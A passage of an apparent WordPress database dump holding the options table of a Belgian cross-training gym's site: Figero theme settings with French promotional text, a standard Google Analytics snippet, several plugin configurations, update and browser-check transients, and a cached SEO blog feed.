section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_testo_image1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:17;a:5:{s:4:\&quot;name\&quot;;s:24:\&quot;Right Column Description\&quot;;s:4:\&quot;desc\&quot;;s:43:\&quot;Enter description for right column section.\&quot;;s:2:\&quot;id\&quot;;s:18:\&quot;figero_testo_desc1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:18;a:2:{s:4:\&quot;name\&quot;;s:25:\&quot;Homepage Featured Section\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:19;a:5:{s:4:\&quot;name\&quot;;s:27:\&quot;First Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:44:\&quot;Choose your image for first feature section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:20;a:5:{s:4:\&quot;name\&quot;;s:29:\&quot;First Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:50:\&quot;Enter your text heading for first feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:21;a:5:{s:4:\&quot;name\&quot;;s:33:\&quot;First Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:58:\&quot;Enter your content for first feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_1\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:22;a:3:{s:4:\&quot;name\&quot;;s:23:\&quot;Second Feature Section.\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;saperate\&quot;;s:5:\&quot;class\&quot;;s:9:\&quot;saperator\&quot;;}i:23;a:5:{s:4:\&quot;name\&quot;;s:28:\&quot;Second Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:45:\&quot;Choose your image for second feature section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:24;a:5:{s:4:\&quot;name\&quot;;s:30:\&quot;Second Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:51:\&quot;Enter your text heading for second feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:25;a:5:{s:4:\&quot;name\&quot;;s:34:\&quot;Second Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:59:\&quot;Enter your content for second feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_2\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:26;a:3:{s:4:\&quot;name\&quot;;s:22:\&quot;Third Feature Section.\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;saperate\&quot;;s:5:\&quot;class\&quot;;s:9:\&quot;saperator\&quot;;}i:27;a:5:{s:4:\&quot;name\&quot;;s:27:\&quot;Third Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:44:\&quot;Choose your image for third feature section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_3\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:28;a:5:{s:4:\&quot;name\&quot;;s:29:\&quot;Third Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:50:\&quot;Enter your text heading for third feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_3\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:29;a:5:{s:4:\&quot;name\&quot;;s:33:\&quot;Third Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:58:\&quot;Enter your content for third feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_3\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:30;a:3:{s:4:\&quot;name\&quot;;s:23:\&quot;Fourth Feature Section.\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;saperate\&quot;;s:5:\&quot;class\&quot;;s:9:\&quot;saperator\&quot;;}i:31;a:5:{s:4:\&quot;name\&quot;;s:28:\&quot;Fourth Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:45:\&quot;Choose your image for fourth feature section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_4\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:32;a:5:{s:4:\&quot;name\&quot;;s:30:\&quot;Fourth Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:51:\&quot;Enter your text heading for fourth feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_4\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:33;a:5:{s:4:\&quot;name\&quot;;s:34:\&quot;Fourth Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:59:\&quot;Enter your content for fourth feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_4\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:34;a:2:{s:4:\&quot;name\&quot;;s:15:\&quot;Styling Options\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:35;a:5:{s:4:\&quot;name\&quot;;s:10:\&quot;Custom CSS\&quot;;s:4:\&quot;desc\&quot;;s:62:\&quot;Quickly add some CSS to your theme by adding it to this block.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_customcss\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}}s:12:\&quot;of_themename\&quot;;s:6:\&quot;Figero\&quot;;s:12:\&quot;of_shortname\&quot;;s:2:\&quot;of\&quot;;s:11:\&quot;figero_logo\&quot;;s:76:\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/06/logo-glfe1.png\&quot;;s:14:\&quot;figero_favicon\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_analytics\&quot;;s:435:\&quot;&lt;script&gt;\r\n  (function(i,s,o,g,r,a,m){i[\'GoogleAnalyticsObject\']=r;i[r]=i[r]||function(){\r\n  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\r\n  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\r\n  })(window,document,\'script\',\'//www.google-analytics.com/analytics.js\',\'ga\');\r\n\r\n  ga(\'create\', \'UA-42733144-1\', \'crosstrainingcenter.be\');\r\n  ga(\'send\', \'pageview\');\r\n\r\n&lt;/script&gt;\&quot;;s:20:\&quot;figero_slideheading1\&quot;;s:1:\&quot; \&quot;;s:24:\&quot;figero_slidedescription1\&quot;;s:262:\&quot;Unique en Belgique, une nouvelle façon de faire du fitness. Venez découvrir nos salles de cross training à Namur et à Limelette. Chez nous, vous bénéficierez d’un encadrement professionnel et d’entrainements personnalisés pour atteindre vos objectifs.\&quot;;s:18:\&quot;figero_slidel_rb_1\&quot;;s:13:\&quot;Essai gratuit\&quot;;s:17:\&quot;figero_slidel_r_1\&quot;;s:47:\&quot;http://www2.crosstrainingcenter.be/?page_id=266\&quot;;s:18:\&quot;figero_slidel_lb_1\&quot;;s:12:\&quot;Les séances\&quot;;s:17:\&quot;figero_slidel_l_1\&quot;;s:46:\&quot;http://www2.crosstrainingcenter.be/?page_id=11\&quot;;s:18:\&quot;figero_slideimage1\&quot;;s:78:\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/silouhette62.png\&quot;;s:16:\&quot;figero_headline1\&quot;;s:1:\&quot; \&quot;;s:15:\&quot;figero_feature1\&quot;;s:1492:\&quot;&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding-right: 15px; text-align:justify; width: 50%; padding-bottom:0px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Un coaching personnel&lt;/div&gt;&lt;br&gt;Un coach vous suivra tout au long de vos séances pour vous proposer des exercices adaptés à votre niveau, vos objectifs et vos caractéristiques individuelles.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding-left: 15px; text-align:justify; width: 50%;  padding-bottom:0px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Un encadrement professionnel&lt;/div&gt;&lt;br&gt;Notre équipe est composée de spécialistes issus du milieu de l’éducation physique, de la kinésithérapie, de la diététique et de la médecine.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding-right: 15px; text-align:justify; width: 50%;  padding-bottom:30px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Des outils innovants&lt;/div&gt;&lt;br&gt;Fini le travail répétitif, monotone et peu efficace des salles de musculation. Grâce aux TRX, RIP Trainer, Kettlebel, … des outils funs, travaillez votre muscle de manière fonctionnelle et performante dans une ambiance conviviale. &lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding-left: 15px; text-align:justify; width: 50%;  padding-bottom:30px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Une approche globale&lt;/div&gt;&lt;br&gt;Pour optimaliser le travail et  vous aider à atteindre vos objectifs, nous vous proposons d’intervenir sur 3 éléments importants : l’alimentation, l’activité physique et le stress.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\&quot;;s:16:\&quot;figero_headline2\&quot;;s:1:\&quot; \&quot;;s:18:\&quot;figero_testo_desc1\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_1\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_1\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_2\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_2\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_2\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_3\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_3\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_3\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_4\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_4\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_4\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_customcss\&quot;;s:0:\&quot;\&quot;;s:10:\&quot;of_options\&quot;;a:29:{s:11:\&quot;figero_logo\&quot;;s:0:\&quot;\&quot;;s:14:\&quot;figero_favicon\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_analytics\&quot;;s:0:\&quot;\&quot;;s:20:\&quot;figero_slideheading1\&quot;;s:0:\&quot;\&quot;;s:24:\&quot;figero_slidedescription1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_slidel_rb_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_slidel_r_1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_slidel_lb_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_slidel_l_1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_slideimage1\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_headline1\&quot;;s:0:\&quot;\&quot;;s:15:\&quot;figero_feature1\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_headline2\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_testo_image1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_testo_desc1\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_1\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_1\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_2\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_2\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_2\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_3\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_3\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_3\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_4\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_4\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_4\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_customcss\&quot;;s:0:\&quot;\&quot;;}s:19:\&quot;figero_testo_image1\&quot;;s:0:\&quot;\&quot;;}', 'yes'),
(176, 'widget_pages', 'a:1:{s:12:\&quot;_multiwidget\&quot;;i:1;}', 'yes'),
(144, 'of_options', 'a:0:{}', 'yes'),
(145, 'nav_menu_options', 'a:2:{i:0;b:0;s:8:\&quot;auto_add\&quot;;a:0:{}}', 'yes');
INSERT INTO `www_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(223, 'slideshow_option', 'a:13:{s:2:\&quot;fx\&quot;;s:5:\&quot;swirl\&quot;;s:5:\&quot;delay\&quot;;s:4:\&quot;3000\&quot;;s:10:\&quot;navigation\&quot;;s:4:\&quot;true\&quot;;s:5:\&quot;width\&quot;;s:3:\&quot;400\&quot;;s:6:\&quot;height\&quot;;s:3:\&quot;300\&quot;;s:3:\&quot;spw\&quot;;s:1:\&quot;7\&quot;;s:3:\&quot;sph\&quot;;s:1:\&quot;5\&quot;;s:6:\&quot;sDelay\&quot;;s:2:\&quot;30\&quot;;s:7:\&quot;opacity\&quot;;s:1:\&quot;1\&quot;;s:10:\&quot;titleSpeed\&quot;;s:3:\&quot;500\&quot;;s:10:\&quot;jsmanually\&quot;;s:5:\&quot;false\&quot;;s:11:\&quot;cssmanually\&quot;;s:5:\&quot;false\&quot;;s:10:\&quot;hoverPause\&quot;;s:5:\&quot;false\&quot;;}', 'yes'),
(775, 'seo_ultimate_module_autolinks', 'a:16:{s:25:\&quot;dampen_sitewide_lpa_value\&quot;;i:50;s:34:\&quot;enable_perlink_dampen_sitewide_lpa\&quot;;b:0;s:17:\&quot;enable_self_links\&quot;;b:0;s:24:\&quot;enable_current_url_links\&quot;;b:0;s:15:\&quot;limit_lpp_value\&quot;;i:5;s:15:\&quot;limit_lpa_value\&quot;;i:2;s:15:\&quot;limit_lpu_value\&quot;;i:1;s:13:\&quot;linkfree_tags\&quot;;s:30:\&quot;code,pre,kbd,h1,h2,h3,h4,h5,h6\&quot;;s:22:\&quot;autolink_posttype_post\&quot;;b:1;s:22:\&quot;autolink_posttype_page\&quot;;b:1;s:28:\&quot;autolink_posttype_attachment\&quot;;b:1;s:31:\&quot;autolink_posttype_collaborateur\&quot;;b:1;s:26:\&quot;footer_link_section_format\&quot;;s:67:\&quot;&lt;div id=\&quot;su-footer-links\&quot; style=\&quot;text-align: center;\&quot;&gt;{links}&lt;/div&gt;\&quot;;s:18:\&quot;footer_link_format\&quot;;s:6:\&quot;{link}\&quot;;s:15:\&quot;footer_link_sep\&quot;;s:3:\&quot; | \&quot;;s:5:\&quot;links\&quot;;a:0:{}}', 'yes'),
(776, 'seo_ultimate_module_settings', 'a:3:{s:16:\&quot;attribution_link\&quot;;b:0;s:9:\&quot;mark_code\&quot;;b:1;s:11:\&quot;wp_ultimate\&quot;;b:1;}', 'yes'),
(777, 'seo_ultimate_module_internal-link-aliases', 'a:2:{s:9:\&quot;alias_dir\&quot;;s:2:\&quot;go\&quot;;s:7:\&quot;aliases\&quot;;a:0:{}}', 'yes'),
(778, 'seo_ultimate_module_linkbox', 'a:1:{s:4:\&quot;html\&quot;;s:298:\&quot;&lt;div class=\&quot;su-linkbox\&quot; id=\&quot;post-{id}-linkbox\&quot;&gt;&lt;div class=\&quot;su-linkbox-label\&quot;&gt;Link to this post!&lt;/div&gt;&lt;div class=\&quot;su-linkbox-field\&quot;&gt;&lt;input type=\&quot;text\&quot; value=\&quot;&amp;lt;a href=&amp;quot;{url}&amp;quot;&amp;gt;{title}&amp;lt;/a&amp;gt;\&quot; onclick=\&quot;javascript:this.select()\&quot; readonly=\&quot;readonly\&quot; style=\&quot;width: 100%;\&quot; /&gt;&lt;/div&gt;&lt;/div&gt;\&quot;;}', 'yes'),
(3059, '_site_transient_update_core', 'O:8:\&quot;stdClass\&quot;:4:{s:7:\&quot;updates\&quot;;a:1:{i:0;O:8:\&quot;stdClass\&quot;:10:{s:8:\&quot;response\&quot;;s:6:\&quot;latest\&quot;;s:8:\&quot;download\&quot;;s:41:\&quot;https://wordpress.org/wordpress-3.7.1.zip\&quot;;s:6:\&quot;locale\&quot;;s:5:\&quot;en_US\&quot;;s:8:\&quot;packages\&quot;;O:8:\&quot;stdClass\&quot;:5:{s:4:\&quot;full\&quot;;s:41:\&quot;https://wordpress.org/wordpress-3.7.1.zip\&quot;;s:10:\&quot;no_content\&quot;;s:52:\&quot;https://wordpress.org/wordpress-3.7.1-no-content.zip\&quot;;s:11:\&quot;new_bundled\&quot;;s:53:\&quot;https://wordpress.org/wordpress-3.7.1-new-bundled.zip\&quot;;s:7:\&quot;partial\&quot;;b:0;s:8:\&quot;rollback\&quot;;b:0;}s:7:\&quot;current\&quot;;s:5:\&quot;3.7.1\&quot;;s:7:\&quot;version\&quot;;s:5:\&quot;3.7.1\&quot;;s:11:\&quot;php_version\&quot;;s:5:\&quot;5.2.4\&quot;;s:13:\&quot;mysql_version\&quot;;s:3:\&quot;5.0\&quot;;s:11:\&quot;new_bundled\&quot;;s:3:\&quot;3.6\&quot;;s:15:\&quot;partial_version\&quot;;s:0:\&quot;\&quot;;}}s:12:\&quot;last_checked\&quot;;i:1383555264;s:15:\&quot;version_checked\&quot;;s:5:\&quot;3.7.1\&quot;;s:12:\&quot;translations\&quot;;a:0:{}}', 'yes'),
(2859, 'can_compress_scripts', '0', 'yes'),
(3218, '_transient_timeout_feed_4725d5c1115324486aa3db40a3f9703a', '1383512001', 'no'),
(3162, '_transient_timeout_settings_errors', '1383293978', 'no'),
(3163, '_transient_settings_errors', 'a:1:{i:0;a:4:{s:7:\&quot;setting\&quot;;s:7:\&quot;general\&quot;;s:4:\&quot;code\&quot;;s:16:\&quot;settings_updated\&quot;;s:7:\&quot;message\&quot;;s:15:\&quot;Settings saved.\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;updated\&quot;;}}', 'no'),
(3165, '_site_transient_timeout_browser_00760e848c8aef5785b4a3f89f42352c', '1383901005', 'yes'),
(3166, '_site_transient_browser_00760e848c8aef5785b4a3f89f42352c', 'a:9:{s:8:\&quot;platform\&quot;;s:9:\&quot;Macintosh\&quot;;s:4:\&quot;name\&quot;;s:6:\&quot;Chrome\&quot;;s:7:\&quot;version\&quot;;s:13:\&quot;30.0.1599.101\&quot;;s:10:\&quot;update_url\&quot;;s:28:\&quot;http://www.google.com/chrome\&quot;;s:7:\&quot;img_src\&quot;;s:49:\&quot;http://s.wordpress.org/images/browsers/chrome.png\&quot;;s:11:\&quot;img_src_ssl\&quot;;s:48:\&quot;https://wordpress.org/images/browsers/chrome.png\&quot;;s:15:\&quot;current_version\&quot;;s:2:\&quot;18\&quot;;s:7:\&quot;upgrade\&quot;;b:0;s:8:\&quot;insecure\&quot;;b:0;}', 'yes'),
(561, 'easy_table_plugin_option', 'a:20:{s:12:\&quot;shortcodetag\&quot;;s:5:\&quot;table\&quot;;s:7:\&quot;attrtag\&quot;;s:4:\&quot;attr\&quot;;s:11:\&quot;tablewidget\&quot;;s:0:\&quot;\&quot;;s:12:\&quot;scriptloadin\&quot;;a:7:{i:0;s:0:\&quot;\&quot;;i:1;s:9:\&quot;is_single\&quot;;i:2;s:0:\&quot;\&quot;;i:3;s:7:\&quot;is_page\&quot;;i:4;s:0:\&quot;\&quot;;i:5;s:0:\&quot;\&quot;;i:6;s:0:\&quot;\&quot;;}s:14:\&quot;scriptinfooter\&quot;;s:0:\&quot;\&quot;;s:11:\&quot;tablesorter\&quot;;s:0:\&quot;\&quot;;s:2:\&quot;th\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;loadcss\&quot;;s:1:\&quot;1\&quot;;s:5:\&quot;class\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;width\&quot;;s:4:\&quot;100%\&quot;;s:6:\&quot;border\&quot;;s:1:\&quot;0\&quot;;s:5:\&quot;theme\&quot;;s:8:\&quot;cuscosky\&quot;;s:5:\&quot;limit\&quot;;s:1:\&quot;0\&quot;;s:4:\&quot;trim\&quot;;s:0:\&quot;\&quot;;s:2:\&quot;nl\&quot;;s:2:\&quot;~~\&quot;;s:10:\&quot;terminator\&quot;;s:2:\&quot;\\n\&quot;;s:9:\&quot;delimiter\&quot;;s:1:\&quot;,\&quot;;s:9:\&quot;enclosure\&quot;;s:6:\&quot;&amp;quot;\&quot;;s:6:\&quot;escape\&quot;;s:1:\&quot;\\\&quot;;s:7:\&quot;csvfile\&quot;;s:0:\&quot;\&quot;;}', 'yes'),
(779, 'seo_ultimate_module_meta', 'a:6:{s:32:\&quot;home_description_tagline_default\&quot;;b:1;s:25:\&quot;description_posttype_post\&quot;;s:9:\&quot;{excerpt}\&quot;;s:25:\&quot;description_posttype_page\&quot;;s:0:\&quot;\&quot;;s:29:\&quot;description_taxonomy_category\&quot;;s:13:\&quot;{description}\&quot;;s:29:\&quot;description_taxonomy_post_tag\&quot;;s:13:\&quot;{description}\&quot;;s:17:\&quot;description_paged\&quot;;s:31:\&quot;{meta_description} - Page {num}\&quot;;}', 'yes'),
(621, 'wpcf7', 'a:1:{s:7:\&quot;version\&quot;;s:5:\&quot;3.5.3\&quot;;}', 'yes'),
(623, '_transient_random_seed', 'da0679e1e9fdeb4951576fb930eb4d22', 'yes'),
(3161, 'rewrite_rules', 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(3323, '_transient_rss_da8c757f762dcd1ec67339593414ea85', 'O:9:\&quot;MagpieRSS\&quot;:19:{s:6:\&quot;parser\&quot;;i:0;s:12:\&quot;current_item\&quot;;a:0:{}s:5:\&quot;items\&quot;;a:30:{i:0;a:12:{s:5:\&quot;title\&quot;;s:37:\&quot;Internal Link Structures Still Matter\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/LJ6Gvt04QPQ/\&quot;;s:8:\&quot;category\&quot;;s:3:\&quot;SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Thu, 01 Aug 2013 12:41:26 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9278\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:1746:\&quot;&lt;p&gt;When it comes to SEO and search engines, the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/mini-blogs/seo-its-all-about-the-cache/\&quot;&gt;cache&lt;/a&gt; is king. One of the most simple metrics of measuring the wealth and authority of a web property is &lt;strong&gt;how many pages are indexed &lt;/strong&gt;and whether or not preferred landing pages are established.&lt;strong&gt;&lt;br /&gt;\n&lt;/strong&gt;&lt;/p&gt;\n&lt;div class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-for-link-structure/\&quot;&gt;&lt;img title=\&quot;SEO-Cache\&quot; alt=\&quot;\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2010/01/links-in-to-links-out.jpg\&quot; width=\&quot;400\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Structuring Your Link Hierarchy&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;However, before visitors can arrive, search engines need to find, spider, index and rank your pages for relevance. This means you should take every opportunity to increase indexation through creating viable link structures based on a hierarchy of importance for keywords or landing pages.&lt;/p&gt;\n&lt;p&gt;Click The Image Above or Follow the Link to Read the Complete Post &amp;gt;&amp;gt;&amp;gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-for-link-structure/\&quot;&gt;SEO Tips for Link Structure&lt;/a&gt;&amp;lt;&amp;lt;&amp;lt;!&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9278\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=LJ6Gvt04QPQ:OoemnRzMDjw:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/LJ6Gvt04QPQ\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:322:\&quot;When it comes to SEO and search engines, the cache is king. One of the most simple metrics of measuring the wealth and authority of a web property is how many pages are indexed and whether or not preferred landing pages are established. However, before visitors can arrive, search engines need to find, spider, index [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:75:\&quot;http://www.seodesignsolutions.com/blog/seo/internal-link-structures-matter/\&quot;;}s:7:\&quot;summary\&quot;;s:322:\&quot;When it comes to SEO and search engines, the cache is king. One of the most simple metrics of measuring the wealth and authority of a web property is how many pages are indexed and whether or not preferred landing pages are established. However, before visitors can arrive, search engines need to find, spider, index [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:1746:\&quot;&lt;p&gt;When it comes to SEO and search engines, the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/mini-blogs/seo-its-all-about-the-cache/\&quot;&gt;cache&lt;/a&gt; is king. One of the most simple metrics of measuring the wealth and authority of a web property is &lt;strong&gt;how many pages are indexed &lt;/strong&gt;and whether or not preferred landing pages are established.&lt;strong&gt;&lt;br /&gt;\n&lt;/strong&gt;&lt;/p&gt;\n&lt;div class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-for-link-structure/\&quot;&gt;&lt;img title=\&quot;SEO-Cache\&quot; alt=\&quot;\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2010/01/links-in-to-links-out.jpg\&quot; width=\&quot;400\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Structuring Your Link Hierarchy&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;However, before visitors can arrive, search engines need to find, spider, index and rank your pages for relevance. This means you should take every opportunity to increase indexation through creating viable link structures based on a hierarchy of importance for keywords or landing pages.&lt;/p&gt;\n&lt;p&gt;Click The Image Above or Follow the Link to Read the Complete Post &amp;gt;&amp;gt;&amp;gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-for-link-structure/\&quot;&gt;SEO Tips for Link Structure&lt;/a&gt;&amp;lt;&amp;lt;&amp;lt;!&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9278\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a 